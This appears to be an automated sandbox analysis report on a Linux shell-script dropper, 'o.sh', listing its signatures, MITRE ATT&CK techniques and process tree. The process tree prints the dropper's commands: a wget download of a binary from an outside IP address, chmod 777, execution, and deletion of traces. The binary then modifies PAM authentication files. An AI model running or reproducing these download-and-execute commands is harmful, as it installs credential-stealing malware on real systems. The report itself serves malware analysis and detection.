Overview

overview

7

Static

static

1

o.sh

ubuntu-18.04-amd64

7

o.sh

debian-9-armhf

7

o.sh

debian-9-mips

7

o.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    12/08/2026, 18:16

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General

  • Target
    o.sh
  • Size 4KB
  • Sample260812-wwqeaascmg
  • SHA256 37bfd5cf49ff0024c1f3e6b85166ddcef77b629c6bda05283d79a35052e2b0fc
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
antivmcredential_accessdefense_evasiondiscoverypersistence

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Modifies PAM framework files 1 TTPs 6 IoCs

    Modifies Linux PAM framework files, possibly to intercept credentials.

    persistencecredential_accessdefense_evasion
  • Unexpected DNS network traffic destination 1 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Reads network interface configuration 2 TTPs 2 IoCs

    Fetches information about one or more active network interfaces.

    discovery
  • Changes its process name 2 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 21 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/o.sh
    /tmp/o.sh
    1⤵
    • Executes dropped EXE
    PID:1481
    • /bin/uname
      uname -s
      2⤵
        PID:1482
      • /bin/uname
        uname -m
        2⤵
          PID:1483
        • /bin/rm
          rm -rf sys64.x86_64
          2⤵
            PID:1484
          • /usr/bin/wget
            wget http://62.84.172.106/sys64.x86_64
            2⤵
            • Writes file to tmp directory
            PID:1485
          • /bin/chmod
            chmod 777 sys64.x86_64
            2⤵
            • File and Directory Permissions Modification
            PID:1496
          • /tmp/sys64.x86_64
            ./sys64.x86_64 .x86_64
            2⤵
            • Modifies PAM framework files
            • Reads network interface configuration
            • Changes its process name
            • Checks CPU configuration
            • Enumerates kernel/hardware configuration
            • Reads runtime system information
            PID:1497
          • /bin/rm
            rm -rf sys64.x86_64
            2⤵
              PID:1499
            • /bin/rm
              rm -f /tmp/o.sh
              2⤵
                PID:1501

            Network

                  MITRE ATT&CK Enterprise v16

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Persistence

                  Modify Authentication Process

                  1
                  T1556

                  Pluggable Authentication Modules

                  1
                  T1556.003

                  Privilege Escalation

                  Defense Evasion

                  File and Directory Permissions Modification

                  1
                  T1222

                  Linux and Mac File and Directory Permissions Modification

                  1
                  T1222.002

                  Modify Authentication Process

                  1
                  T1556

                  Pluggable Authentication Modules

                  1
                  T1556.003

                  Virtualization/Sandbox Evasion

                  1
                  T1497

                  System Checks

                  1
                  T1497.001

                  Credential Access

                  Modify Authentication Process

                  1
                  T1556

                  Pluggable Authentication Modules

                  1
                  T1556.003

                  Discovery

                  System Information Discovery

                  1
                  T1082

                  System Network Configuration Discovery

                  1
                  T1016

                  System Network Connections Discovery

                  1
                  T1049

                  Virtualization/Sandbox Evasion

                  1
                  T1497

                  System Checks

                  1
                  T1497.001

                  Lateral Movement

                  Collection

                  Command and Control

                  Exfiltration

                  Impact

                  Replay Monitor

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                  Downloads

                  sys64.x86_64
                  • Path /tmp/sys64.x86_64
                  • Size 411KB
                  • SHA256 1fa5fa389116f6f7686105e92db15e9b993a8464d5c6651e21215bb43fb5120d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download